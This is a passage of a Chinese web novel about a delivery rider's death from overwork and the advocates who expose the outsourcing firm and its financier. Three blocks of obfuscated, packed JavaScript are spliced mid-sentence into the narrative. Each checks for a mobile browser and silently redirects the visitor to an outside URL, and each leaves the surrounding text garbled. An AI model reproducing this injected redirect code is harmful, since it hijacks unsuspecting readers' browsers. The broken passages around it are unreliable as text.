“四十六。”赵春梅低下头,“干了三年外卖。以前在工地干,后来腰不行了,就改跑外卖。他说外卖比工地轻松,不用搬重东西。就是跑,到处跑。他每天跑十几个小时,刮风下雨都跑。他说平台有奖励,跑满多少单给多少钱。他从来没拿过那个奖励。每次都差一点。还差两三单,时间就到了。他拼了命跑,就是跑不够。” 她的声音开始发抖。 “他跟我说过,那个算法,他跑不过。你跑得快,它给你派更远的单。你跑得多,它给你派更多的单。你永远追不上。他说,这个系统就是让你觉得自己还能再跑一单。” 她停下来,使劲眨了眨眼睛。 “他跑了三年,三年没歇过一天。我说你歇一天吧,他说不行,歇一天就掉等级,掉等级就接不到好单。他说平台有规定,等级高的骑手优先派单。他拼命跑,等级还是上不去。他说,那个等级,是给年轻人的。他年纪大了,跑不过。” 吴小糖的眼眶红了,她低下头,假装在找东西。 / 徐寄遥坐在赵春梅对面,等她情绪平复了一些。 “赵女士,您先生出事之后,平台那边怎么说的?” 赵春梅抬起头,眼睛里有了一种东西,是愤怒。 “他们说,他不是他们的员工。他说他是外包的,是第三方公司的。第三方公司说,他们是合作关系,不是劳动关系。合同上写的是‘承揽协议’,不是劳动合同。所以他们不赔。” 她从包里掏出一沓纸,放在茶几上。 纸张皱巴巴的,有几页被水浸过,字迹模糊。徐寄遥拿起来翻看。 “承揽协议。甲方是某科技有限公司,乙方是刘师傅。协议里写着,乙方自愿承揽甲方的配送业务,双方是平等的民事合作关系,不存在劳动关系。” 后面几页是平台的回复函,措辞很官方: “经核实,刘师傅与平台不存在劳动关系,不在工伤保险赔付范围内。平台出于人道主义,愿意提供慰问金两万元。” 两万。 一个人跑了三年外卖,每天十几个小时,最后值两万。 赵春梅的声音又响起来,这次带着一种压抑了很久的尖锐。 “他们说他们是好心,说两万是‘慰问’。”她的声音越来越高,“他跑了三年,三年!风里雨里,没有一天歇过。他们赚了多少钱?他们给他买过保险吗?他累死了,他们就拿两万块钱打发我。” 她捂住了脸。 “我不是要钱,我就是觉得,他不能白死!他不能白死!” / 屋里安静了很久。徐寄遥把那些材料放回茶几上。 “赵女士,您公公婆婆那边,怎么说?” 赵春梅愣了一下,然后苦笑了一下。 “他们不让告。他们说,人家是大公司,告不赢。说拿了那两万块钱就算了,别折腾了。说死者为大,入土为安。说再闹下去,丢人。” 她的眼泪终于流下来。 “我老公活着的时候,他们不管他。他累成那样,他们不说。现在他死了,他们怕丢人。” 她擦了擦眼泪,直起身。 “我要告他们。不是要钱。我就是想让他们知道,他不是机器。他是人。” 俞彩虹轻轻拍了拍她的手。 “赵女士,我们会帮您。” 赵春梅看着她,又看看徐寄遥,嘴唇哆嗦着,想说什么,最后只挤出两个字:“谢谢。” / 赵春梅走后,吴小糖坐在沙发上,半天没动。 “寄遥姐,你说那些平台,他们不知道骑手会累死吗?” 徐寄遥没回答。应宽替她说了: “他们知道。但他们算过账。赔两万,比给所有骑手买保险便宜。” 吴小糖愣了一下:“他们算过?” 应宽点点头。 “算法。他们什么都有算法。骑手跑多快,送多少单,赚多少钱,死在路上赔多少。都是算过的。” 吴小糖的脸白了:“那他们……他们这不是杀人吗?” 应宽没有说话。 徐寄遥站起来,走到窗边,看着外面的街道。 阳光很烈,路上没什么人。远处有几个穿黄色蓝色的外卖小哥身影,骑着电动车,在车流里钻来钻去。 她转过身。 “应宽,查一下刘师傅那个平台的用工模式。还有那个第三方公司,看是什么背景。” 应宽已经开始敲键盘了。 / 下午两点,应宽查到了一些东西。 “刘师傅签约的第三方公司叫‘众包科技’,注册地在某产业园,法人是空壳。”他把屏幕转向大家,“这家公司是杨亚波投资的。” 吴小糖愣住了:“又是伯牙科技?” 应宽点点头。 “伯牙科技占股百分之三十。不控股,但有派驻董事。这个公司的业务,就是给外卖平台提供骑手外包服务。他们在全国有十几个分公司,管理着好几万骑手。刘师傅只是其中之一。” 俞彩虹接过去看了一会儿。 应宽接着说:“和解大师还有一个‘骑手心理韧性课程’,专门卖给这些外包公司的。课程内容是教骑手‘正确看待工作压力’,‘学会与算法共处’。” 他念了一段课程介绍: “配送行业压力大,是众所周知的。如何在高强度工作中保持心理健康?如何正确看待平台的考核机制?如何与算法达成和解?本课程将从心理学角度,帮助骑手建立正确的职业认知,学会与压力共处,与算法共处。” 吴小糖听不下去了: “什么叫‘与算法共处’?就是让他们认命?让他们承认自己跑不过机器?” 俞彩虹说:“课程里有一句话,‘认命不是放弃,是接受。接受自己的局限,接受平台的规定,接受这个行业的规则。’” 屋里安静了。 / 徐寄遥站在白板前面,把刚才那些信息一条一条写上去。 众包科技——骑手外包——和解大师投资。 和解大师——骑手心理韧性课程——教骑手“认命”。 外卖平台——算法——骑手猝死——赔两万。 写完之后,她退后一步,看着这几条线。 “他们建了一个系统,众包科技从骑手身上赚钱,和解大师从众包科技身上赚钱,再从骑手身上赚一次。骑手跑死了,赔两万。比给所有骑手买保险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381631|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便宜。他们算过。” 吴小糖站起来。 “寄遥姐,这个案子,我们怎么打?” 徐寄遥转过身。 “我们不打官司,我们也打不了官司,我们能做的,就是帮客户收集证据。” 她看着应宽。 “能查到刘师傅哪个等级吗?他跑了三年,等级是多少?” 应宽敲了几下键盘。 “黄金。最高是钻石,然后是白金,然后是黄金。他跑了三年,还在第三档。” “前面两档是什么人?” “年轻人。二十多岁,三十出头。跑得快的。系统给他们的单多,距离短,单价高。年纪大的,跑得慢的,系统给的单少,距离长,单价低。跑得越快,单越多。跑得越慢,单越少。这是一个正反馈循环。” 吴小糖说:“所以他们永远跑不过年轻人。” 应宽点头。“永远跑不过。但他们不知道,他们以为是自己不够努力。” / 应宽把屏幕转过来,调出一张数据图。 “这是外卖行业的配送算法逻辑。表面上是公平派单,谁跑得快谁接单多。但实际上,算法会记住每个人的数据。你跑得快,它给你派近单、好送的单。你跑得慢,它给你派远单、难送的单。你接的单越多,它给你的单越多。你接的单越少,它给你的单越少。” “这是一个正反馈。跑得快的人永远跑得快,跑得慢的人永远跑得慢。等级越高,单价越高。等级越低,单价越低。钻石等级的骑手,一单能拿七八块。黄金等级的,一单只能拿四五块。要跑同样的钱,黄金等级的骑手要比钻石等级的多跑一倍的单。” 吴小糖说:“所以刘师傅拼命跑,是因为他的起点就低。” 应宽点头。 “对。他的等级低,单价低,要赚同样的钱,他必须跑更多的单。跑更多的单,就需要更长的时间。更长的时间,就意味着更累。更累,就跑不动。跑不动,等级就上不去。这是一个死循环。” “这就是算法。它不在乎你是谁,不在乎你多大了,不在乎你身体受不受得了。它只在乎数据。” / 徐寄遥放下手里的资料。 “外卖行业这几年,越来越卷。平台之间打价格战,补贴越来越少,单价越来越低。骑手要赚同样的钱,只能跑更多的单。以前一天跑八个小时能赚两百,现在要跑十二个小时。跑十二个小时不够,就跑十四个小时。十四个小时不够,就跑十六个小时。” “骑手之间也在卷,你不跑,有人跑。你休息,单被别人抢走了。你掉等级,单价更低。你只能跑,拼命跑,跑到跑不动为止。” 吴小糖接话:“跑到跑不动为止!刘师傅就是跑到跑不动了!” 俞彩虹点头同意,说: “平台什么都知道,他们知道骑手每天跑多长时间,知道他们闯了多少红灯,知道他们出了多少事故。他们有一整套数据。但他们不算这个。他们算的是成本。给骑手买保险,要花多少钱。骑手出事了赔多少钱。两万块钱,比买保险便宜。他们算过了。” 屋里又安静了。 / 徐寄遥站在窗边,看着外面。 太阳已经偏西了,光线变得柔和了一些。街上那些穿黄色蓝色工装的外卖小哥们在穿梭。 “应宽,把刘师傅的数据整理出来。跑了多少单,多少公里,赚了多少钱,都整理出来。赵春梅要的不是钱,她要的是让她老公的死被看见。” 应宽点点头。 吴小糖问:“被谁看见?被平台吗?那些人会看见吗?” 徐寄遥没有回答。她不知道那些人会不会看见。 但她知道,如果什么都不做,他们永远不会看见。 55.算法囚徒(二):先下手 2025年8月10日,上午九点。 工作室里很安静。 吴小糖窝在沙发上,手机屏幕亮着,手指在屏幕上划来划去,什么都没点进去。 她每隔几分钟就抬头看一眼应宽,应宽盯着电脑,手指在键盘上敲敲停停,屏幕上的数据窗口一个接一个地弹出来,又一个接一个地关掉。 “应宽哥,查到什么了吗?”吴小糖第三次问。 应宽没回头。“在查。” 吴小糖不敢再问了。她缩回沙发里,把手机翻过去扣在膝盖上。 / 下午两点,应宽把电脑屏幕转向大家。 “刘师傅的数据,我查清楚了。” 他的声音有点哑,可能是盯屏幕太久。 “注册三年,总订单两万三千七百单,总里程六万八千公里,总收入三十二万四千块。” 他调出一张表格,密密麻麻的数字,从2022年8月排到2025年8月,三年,一千多天,没有一天是空的。 “最后那天,四十三单,一百三十公里,一百八十六块。” 吴小糖凑过来看:“一百八十六块?跑了一百三十公里?” 应宽点头:“他等级低,单价低。钻石等级的骑手,一单平均七八块。他黄金等级,一单平均四五块。要跑同样的钱,他要比钻石等级的多跑一倍的单。” 他继续往下翻。 “平台有等级制度。钻石、白金、黄金、白银、青铜。等级越高,派单优先权越高,单价越高。等级怎么升?跑的单越多,等级越高。等级越高,跑的单越多。这是一个正反馈循环,跑得快的人永远跑得快,跑得慢的人永远跑得慢。” 他调出一张曲线图。 “刘师傅跑了三年,最高冲到过白金,只待了两个月就掉下来了。他年纪大,跑不过年轻人。年轻人一天能跑五六十单,他最多四十单。四十单是极限了,再跑,身体受不了。但他不跑,等级就掉。等级掉了,单价就低。单价低了,要赚同样的钱,就要跑更多的单。他就在这个循环里,跑了三年。” 他翻到最后一张图。 “这是平台五年来的运营数据。骑手总数从最初的三千增长到现在的六万,平均工作时长从每天八小时增长到每天十二小时,平均时薪从二十五块下降到十一块,事故率从每月一起增长到每月三十多起。” 他关上电脑。 “平台什么都知道。他们知道骑手每天跑多长时间,知道他们闯了多少红灯,知道他们出了多少事故。他们有一整套数,但他们不算这个。他们算的是成本,给骑手买保险,要花多少钱,骑手出事了赔多少钱。” / 下午三点,徐寄遥的结论也出来了。她开始投屏。 “众包科技的股权结构,我查清楚了。” 她打开一张股权结构图,密密麻麻的线条和方块。 “众包科技,注册资金五百万,法人代表叫王志远。这个人是个空壳,名下注册了十几家公司,没有一家是实际运营的。” 她的手指往下移。 “众包科技的大股东是一家叫‘远达投资’的公司,占股百分之六十。远达投资的法人叫张志强。又是空壳。” 手指继续往下,穿过几层嵌套的公司,停在最下面一个方块。 “远达投资往上追溯,最终控制方是开曼群岛的一家公司,叫‘伯牙国际控股’。这家公司注册在开曼群岛,查不到实际控制人。但它的境内关联公司,是伯牙科技。” 吴小糖说:“杨亚波的手伸得这么远。” 徐寄遥点点头:“伯牙科技占股百分之三十,不控股,但有派驻董事。众包科技的实际控制人,就是杨亚波。” 俞彩虹走过来看着那张股权结构图。 “这就是资本的操作手法,用空壳公司套空壳公司,用离岸公司套离岸公司。查到最后,钱进了他的口袋,责任找不到他头上。” / 下午四点,俞彩虹把一沓打印好的资料放在茶几上。 “众包科技上线五年以来的新闻报道,我已经整理好了。”她翻开第一页。 “2021年3月,骑手猝死,家属索赔。平台称骑手是众包科技的员工,与平台无关。众包科技称双方是合作关系,不是劳动关系。法院判决,众包科技赔偿十五万。新闻发出来后,很快就被压下去了。没有后续报道。” 翻开第二页。 “2022年7月,骑手送餐途中出车祸,截肢。众包科技称双方是合作关系,不承担工伤责任。法院判决,众包科技赔偿八万。这篇报道发了之后,也是没有水花。” 翻开第三页。 “2023年11月,骑手猝死,家属起诉,法院判决,众包科技赔偿十八万。新闻发了,但没有任何媒体转载。只在本地新闻的小版块里出现了一下。” 翻开第四页。 “2024年6月,骑手猝死,家属起诉,法院判决,众包科技赔偿二十万。这篇报道更短,只有几百字,没有后续,没有评论,没有人讨论。” 她合上资料。 “五年,十四起死亡事故,上百起工伤,赔偿金额从几万到几十万不等,没有一起超过五十万。一个人值多少钱,他们算过。” 她顿了顿。 “这些报道都有一个共同特点。发出来之后,很快就没声音了,没有人跟进,没有人追问,没有人记得。那些骑手的名字,也没有人知道,他们只是新闻里的‘某平台骑手’。” / 晚上七点,四个人围坐在茶几旁边。 桌上摊着应宽的数据,俞彩虹的报道,徐寄遥的股权结构图。 外卖已经凉了,没人动筷子。 徐寄遥先开口:“我们先梳理一下。应宽,你先说。” 应宽把电脑转过来。 “刘师傅跑了三年,两万三千七百单,六万八千公里,三十二万四千块。最后那天,一百三十公里,一百八十六块。平台五年,骑手从三千到六万,工作时长从八小时到十二小时,时薪从二十五块到十一块,事故率从每月一起到每月三十多起。” 他说完了。徐寄遥点点头:“这些数据,如果跟头部平台比,是什么水平?” 应宽调出另一组数据。 “我对比了一下行业头部平台的数据。头部平台骑手平均时薪在十五到十八块之间,工作时长平均九到十小时,事故率低于行业平均水平。他们有完善的保险制度,骑手入职就买保险,不用等出事再赔钱。” 他顿了顿。 “众包科技的时薪只有十一块,比头部平台低了三分之一。工作时长十二小时,比头部平台多了两到三个小时。事故率是头部平台的三倍。他们不是做不到,是不做。给骑手买保险,要花钱。提高单价,要少赚钱。他们算过账,不划算。” 吴小糖说:“所以他们是故意不做的?” 应宽没有回答。俞彩虹替他说了:“不是故意不做,是做了不划算。他们算过,出事赔几万,比给所有骑手买保险便宜,所以他们选择不买。” / 俞彩虹把她收集的报道摊开。 “五年,十四起死亡,上百起工伤。这些只是被报道出来的。没报道的,还有多少?没人知道。而且,这些报道有一个共同特点,发出来之后,很快就没声音了。没有后续,没有追问,没有人记得那些骑手的名字。” 吴小糖说:“所以杨亚波不怕?反正没人看?” 俞彩虹说:“不是不怕,是知道怎么压下去。他有水军,有营销号,有媒体资源。一篇报道出来,他可以花钱删帖,可以买热搜转移视线,可以发通稿洗白。他有完整的一套应对方案。” 她顿了顿。 “就像上次周老师那个案子,他搞一场直播,发两万块钱,全网都在夸他。谁还记得那六十万差点打水漂?” / 徐寄遥站起来,走到白板前面,把这几天的信息一条一条写上去。 刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384879|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师傅:三年,两万三千七百单,六万八千公里,三十二万四千块。最后那天:一百三十公里,一百八十六块。 众包科技:五年,骑手从三千到六万,工作时长八小时到十二小时,时薪二十五块到十一块,事故率每月一起到每月三十多起。 股权结构:众包科技→远达投资→伯牙国际控股→伯牙科技→杨亚波。 五年报道:十四起死亡,上百起工伤。最高赔偿二十万,最低赔偿两万。 对比头部平台:时薪低三分之一,工作时长多两到三小时,事故率高两倍。 她写完,退后一步,看着白板上的字。 “这个系统,已经运行了五年。五年里,死了多少人,伤了多少人,没人统计过。因为那些人不是‘员工’,是‘合作伙伴’。合作伙伴死了,赔两万。合作伙伴伤了,赔八万。” 她转过身。 “杨亚波是这个系统的一部分,他的钱,是从这些骑手身上赚来的。骑手跑得越累,他的公司赚得越多。” / 屋里安静了一会儿。 徐寄遥说:“赵春梅这个案子,我们不打官司,我们也打不了官司。合同是承揽协议,不是劳动合同。法律上,他们不违法。” 吴小糖说:“那怎么办?” 徐寄遥看着她:“把这些数据发出去。” 她走到电脑前,打开一个空白文档。 “杨亚波现在跟上半年不一样了,他做事更追求公众口碑了。上次周老师那个案子,他居然搞了一场直播,如果被他知道我们在查这个事,他会抢在我们前面动手。搞直播,发通稿,买热搜,把水搅浑。他有钱,有资源,等他做完这些,我们的东西再发出去,就没有人看了。连水花都不会有。” 俞彩虹说:“所以我们要抢在他前面。” 徐寄遥点头:“对。今天晚上,我们把所有东西整理出来。一篇文章,把所有数据放进去。刘师傅的数据,众包科技的数据,股权的数据,那些报道。全部放到网上曝光。” / 晚上九点。四个人分了工。 应宽整理数据。刘师傅跑了多少单,多少公里,赚了多少钱。平台五年来的骑手数量、工作时长、时薪、事故率。所有数据做成表格,一目了然。 徐寄遥写文章。她坐在电脑前,手指放在键盘上。她想了很久。然后她开始写。 “他叫刘建国,四十六岁。跑了三年外卖。八月五号那天,他跑了十二个小时,最后一单送到的时候,倒下了。” 她停了一下,继续写。 “平台说,他不是他们的员工,他是外包的。外包公司说,他们是合作关系,不是劳动关系。合同上写的是‘承揽协议’,所以他们不赔。平台出于人道主义,愿意提供慰问金两万元。” 她写得很慢。每一个字都要想很久。 她不能写错。错一个字,就会有人说是造谣。她不能让这种事发生。 吴小糖在旁边整理那些报道。她要把每一条报道的标题、日期、内容、赔偿金额,一条一条列出来。 那些报道太短了,短到只有几百字。那些骑手们不是新闻里的人,他们是新闻里的“某平台骑手”。没有人知道他们叫什么。 / 凌晨一点,应宽的数据整理完了。他把表格发到群里。 凌晨两点,吴小糖的报道整理完了。她把文档发给徐寄遥。 凌晨三点,徐寄遥的文章写完了。 她把所有人的东西合在一起,从头到尾读了一遍。读完之后,她把文档发给每个人。 “你们看看,有没有问题。” 没有人说话。他们都在看。 过了很久,吴小糖的声音从沙发那边传来:“没问题。” 应宽说:“没问题。” 俞彩虹说:“没问题。” 徐寄遥打开小红书网页,把写好的文章导入进去,又仔细上传了多张数据图片。 然后她点击了发送。 56.算法囚徒(三):五十万 凌晨三点十七分,徐寄遥点击了发布键。 那篇题为《他叫刘建国,跑了三万单,倒在了最后一单》的笔记,在凌晨的黑暗中滑入小红书的流量池。 起初,它只是无数深夜emo文案中的一条,配图是应宽制作的灰色数据图表,冷静得像是一份审计报告。 但数据是有重量的。 凌晨四点,第一个转发来自一个ID叫"外卖骑手互助会"的账号。转发语很简单:"刘师傅是我们站的,真人真事。" 凌晨五点,一个拥有十万粉丝的职场博主转发了截图: "看完数据我手抖了。时薪十一块,事故率每月三十起,这不是算法,是绞肉机。" 早上七点,当徐寄遥被手机震动吵醒时,那条笔记的点赞数已经突破了五千。 评论区像一口被点燃的油锅: "众包科技?就是那个''速达外卖''的公司?" "细思极恐,我每天点的都是这家!" "两万块买一条命,资本家的算盘打得我在河北都听见了。" 徐寄遥坐在床上,一条条翻看评论。 阳光透过窗帘缝隙照在手机屏幕上,把那些愤怒的文字照得发白。 火已经点起来了,现在要看这火烧向哪里。 / 上午九点,赵春梅坐在出租屋,手里攥着手机。 手机屏幕的光映在她脸上。眼窝深陷,但眼睛却亮得惊人。 她点开编辑界面,手指在屏幕上悬停了很久。 她不擅长写字。这辈子写过最长的文字,就是当年给刘建国写的情书,一百多个字,错了一半的标点。 但她有照片。 她翻开相册,选了九张图: 刘建国的工牌照片,穿着黄色制服站在电动车旁,笑容憨厚; 微信聊天记录里他最后发来的"今晚炖排骨,等我"; 医院太平间的门口,她一个人坐在塑料椅上; 还有那张让她整夜失眠的"承揽协议",乙方签名处刘建国三个字写得歪歪扭扭,因为那天他手抖。 最后一张,是她在工地打工时拍的,安全帽下面露出半张脸。配文她想了很久,删了又写: "我是刘建国老婆。他跑了三年外卖,三万单,六万公里。他说要多攒点钱,能跑就多跑几单了。现在他躺在太平间,平台说不是他们员工,只给两万。我文化水平不高,不懂什么协议,什么算法,我只知道,我男人是被累死的。" 点击发布的时候,她的手抖得厉害,差点把手机摔地上。 发出去之后,十分钟,一百多条评论。 "姐姐节哀,已转发。" "速达外卖出来受死!" "看哭了,我爸也是骑手" "千万别签任何协议!找律师!" "已保存证据!" 赵春梅看着那些来自天南海北的陌生人的留言,眼泪砸在手机屏幕上,晕开了那些"抱抱"的表情包。 她一条一条地读,读到眼睛酸涩,突然意识到:她不再是一个人了。 / 网友的嗅觉比猎犬还敏锐。 上午十一点,一个ID叫"天眼查查查"的用户发布了详细的股权穿透图。 【众包科技→远达投资→伯牙国际控股→伯牙科技】 每一层都附上了工商登记截图,红色的箭头像血管一样,最终汇聚到那个熟悉的名字上。 "杨亚波,伯牙科技创始人兼CEO,和解大师创始人,''银发关怀计划''发起人。他一边在直播间给老人发两万红包,一边从骑手身上榨取每一滴血。刘师傅的命,值他直播间里的一百个红包。" 这条笔记在两个小时内被转发了一万多次。 接着,更详细的扒皮开始了。 有人翻出半年前杨亚波在某经济论坛的演讲视频,他站在台上,穿着笔挺的西装,谈论"灵活就业是未来的趋势,平台经济创造社会价值"。 有人把这段视频和应宽制作的"时薪从二十五降至十一"的图表剪在一起,配上阴间BGM,标题叫《吃人血馒头的人道主义》。 下午一点,#速达外卖骑手猝死#登上微博热搜第三十二位。 下午两点,#伯牙科技 众包科技#登上热搜第十八位。 下午三点,#杨亚波资本#冲进热搜前十。 代吵工作室里,四个人盯着不断刷新的屏幕。 "舆情起来了,"应宽盯着数据监控,"但很奇怪,速达外卖和伯牙科技的官方账号没有任何回应。按照常规公关,黄金四小时早就过了。" "他们在憋大招,"俞彩虹抱着手臂,"要么是在准备全面的法律反诉" 她的话被徐寄遥的手机铃声打断。 来电显示:赵春梅。 / 电话那头的赵春梅,声音和早上完全不同。 早上她说话时,带着哭腔,气若游丝,每一个字都像是从肺里挤出来的。 但现在,她的声音在发抖,却不是因为悲伤,明显是一种震惊。 "徐老师,"她说,"平台的人联系我了。" 徐寄遥猛地坐直:"哪个平台?众包还是速达?" "速达的,说是他们总部的人,"赵春梅的声音飘忽,"一个女的,说话特别客气,叫我赵姐。她说……她说公司高度重视刘师傅的事,之前是外包公司的沟通有误,现在他们决定,由伯牙科技直接出面,给刘师傅抚恤金……五十万。" 房间里瞬间安静了。 徐寄遥开了免提,所有人都听到了。 吴小糖和应宽对视一眼,眼神里都是同一个词:不对劲。 "五十万?"徐寄遥重复了一遍,"他们提什么条件了吗?" "他们说,"赵春梅的声音低了下去,"说希望我能配合发一个声明,说问题已经妥善解决,说公司其实很重视骑手福利。还有……" 她停顿了一下,"他们说,希望您那边,也能停止传播。他们说那些数据是商业机密,如果继续传播,可能要负法律责任。" 徐寄遥皱起眉头。 来了。这就是他们的策略。不是道歉,不是整改,是收买。 用五十万买断赵春梅的愤怒,用法律威胁封住代吵师的嘴,把一场关于制度的控诉,简化成一场"已经解决的民事纠纷"。 "春梅姐,"徐寄遥的声音很平静,"您怎么想?" 电话那头沉默了很久。久到能听到赵春梅艰难的呼吸声。 "徐老师,"她终于开口,"我是个农村妇女,我没见过五十万。建国跑了三年,加起来也就赚了三十多万,现在他们愿意赔五十万,我……" 她的声音哽咽了:"我想给我儿子存着,以后他上大学,我想……" "我理解,"徐寄遥打断她,"春梅姐,这完全是您的选择。但我必须告诉您,如果您接受了这笔钱,发了那个声明,刘师傅就白死了。以后还会有下一个刘师傅,他们的命还是只值两万,因为您今天的沉默,会告诉他们:五十万就能买一个妻子的闭嘴。" 电话那头传来压抑的哭声。 "可是……可是我斗不过他们啊,"赵春梅崩溃了,"他们说那些数据是假的,说要告你们,说我要是不配合,连两万都没有……徐老师,我也不想连累你们被告……" "数据是真的,"应宽突然凑近手机,大声说,"春梅姐,那些数据是从他们平台内部系统抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390154|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取的,每一个数字都是真的。他们不敢告,因为告了就要公开所有数据,他们不敢。" 徐寄遥对应宽摆摆手,示意他冷静。 "春梅姐,"她柔声说,"很抱歉,我刚才话说重了些,从我们来讲,肯定是希望您坚持维权,毕竟第一步已经迈出去了,但这件事最终还是要由您自己决定,不管您最后如何选择,我们都不会干涉的。” "徐老师……"赵春梅喃喃道,"好,我再想想……" 挂断电话,工作室里陷入死寂。 "五十万,"吴小糖苦笑,"他们真舍得。之前只愿意给两万,现在突然五十万,舆论压力果然管用。" "不,"徐寄遥摇头,"他们不是在买赵春梅的沉默,是在买时间。五十万是诱饵,只要赵春梅答应,他们就会立刻发通稿,说''家属已谅解,平台已妥善处理''。等舆论一散,那五十万能不能到手,还是两说。" "而且,"俞彩虹补充,"他们还威胁我们,说数据是''商业机密''。这是在为反击做铺垫。" 徐寄遥看向窗外,夕阳正在西沉,城市的轮廓被染成血色。 "是啊,他们反应过来了。" / 第二天上午八点,速达外卖的官方账号发布了一条长文。 《关于骑手刘建国先生意外离世的情况说明及致歉信》 文章写得极为工整,像是出自顶级公关团队之手。 首先,他们对刘建国先生的离世表示"沉痛哀悼",承认"在外包服务商的管理过程中存在沟通不及时、关怀不到位的情况",并向家属表示"诚挚歉意"。 接着,笔锋一转: "但近日,网络上流传的关于我司''压榨骑手''''算法杀人''等言论,经核查,系来源于某商业竞争对手的恶意数据篡改。所谓''时薪十一元''''事故率每月三十起''等数据,严重脱离事实,系对我司商业信誉的恶意诋毁。我司已委托律师团队,对制造及传播不实信息者追究法律责任。" 最后,是重点: "目前,在伯牙科技的协调下,已与家属达成初步和解意向。伯牙科技作为负责任的实际控制人,将额外提供人道主义抚恤金五十万元,以保障家属后续生活。我们承诺,将继续优化骑手保障体系,不让任何一个劳动者寒心。" 配图是一张打款截图,收款方是赵春梅的银行账户,金额:500,000.00元。状态:处理中。 文章发出后,伯牙科技的官方账号立刻转发。 杨亚波本人也转发了,配文:"企业要有温度,投资要有良心。愿逝者安息,生者坚强。" 评论区瞬间被水军淹没: "知错能改,善莫大焉。速达外卖还是有担当的。" "五十万,比法院判决的高多了,良心企业。" "那些带节奏的营销号呢?数据是假的吧,出来道歉!" "代吵师那个团队,明显是蹭热度,吃人血馒头。" "支持杨总,支持速达外卖维权,告死对家!" 徐寄遥看着屏幕上那些整齐划一的评论,手指在桌面上轻轻敲击。 应宽查了一下那些账号。注册时间不超过三个月,IP地址集中在某几个城市,典型的水军特征。 "他们动手了,"徐寄遥说,"而且这一招很毒。他们不需要证明数据是假的,只需要让公众相信''家属已经满意了''。赵春梅一旦收了钱,我们就从''为死者发声''变成了''挑拨矛盾的商业竞争对手''。" "那我们现在怎么办?"吴小糖问,"赵春梅要是真的收了钱,我们……" 徐寄遥看着工作室里的每一个人。 "你们觉不觉得,杨亚波近期的风格变化巨大。" 57.算法囚徒(四):完美表演 "你们觉不觉得,杨亚波近期的风格变化巨大。" 徐寄遥的声音在工作室里回荡。 应宽推了推眼镜,手指在键盘上敲击几下,调出一组新的数据图表: "确实变了。上半年,杨亚波还深居简出,除了必要的投资人会议,几乎不接受任何媒体采访。他的个人微博三四个月更新一次,内容都是转发公司公告。" 他点击播放,屏幕上快速闪过杨亚波的公开活动记录。 "但过去两个月,他参加了十二场直播,八场行业论坛,三次慈善晚宴,发布了二十三条个人原创微博,还开了个人短视频账号,粉丝已经突破百万。" "他以前躲在幕后,"俞彩虹抱着手臂,眉头紧锁,"现在却突然站到台前,这种转变显然是他所代表的资本,他们的发展策略,有了变化。" 应宽切换到另一张图表,那是和解大师过去十八个月的业务结构变化图。 "我重新分析了他的营收构成。你们看这里——" 屏幕上,蓝色的曲线代表传统心理咨询业务,红色的曲线代表金融理财业务。两条曲线在一年半前开始分道扬镳,红色曲线以近乎垂直的角度向上攀升,而蓝色曲线则逐渐平缓,甚至在最近三个月出现了下滑。 "去年年初,和解大师的核心业务还是家庭调解和企业EAP服务,金融板块只占营收的5%。但到了今年第二季度,"应宽的手指停在图表的制高点,"金融板块占比达到了47%,而且还在增长。也就是说,他们现在的核心业务,已经不是解决家庭矛盾,而是卖理财产品。" 俞彩虹点头表示认同,她从文件堆里抽出几份夕阳红创业联盟和心之愈的课程协议。 "他们卖的,对外不会说是理财,是教育,是咨询,是个人成长投资。你们看这些合同,''资产配置咨询服务费''''财富觉醒课程费''''独立生活规划费'',他们巧妙地避开了金融监管,把金融产品包装成教育培训和内容服务。" "俞老师,我记得你评价过,他们这种投资产品就是庞氏骗局?"徐寄遥转过身,目光锐利。 "典型的庞氏结构,"俞彩虹把协议摊在桌上,用手指点着关键条款,"期限错配,借新还旧,承诺年化8%到12%的固定收益。他们要求老人把养老金从银行取出来,投入所谓的''稳健型养老计划''。前三个月按时付息,让早期投资者尝到甜头,然后利用这些''成功案例''吸引更多老人入局。资金池里,老人的养老金和年轻人的''成长基金''混在一起,用后入者的本金支付先入者的利息。" "那看来,杨亚波现在这么急着走到台前,"徐寄遥走到白板前,拿起笔,"不是为了宣传和解大师,是为了吸储。当资金池的压力越来越大,兑付缺口就越来越明显,他需要一个更强的信用符号来维持流动性。没有什么比''成功的企业家''、''有社会责任感的公众人物''更有效的信用背书了。" 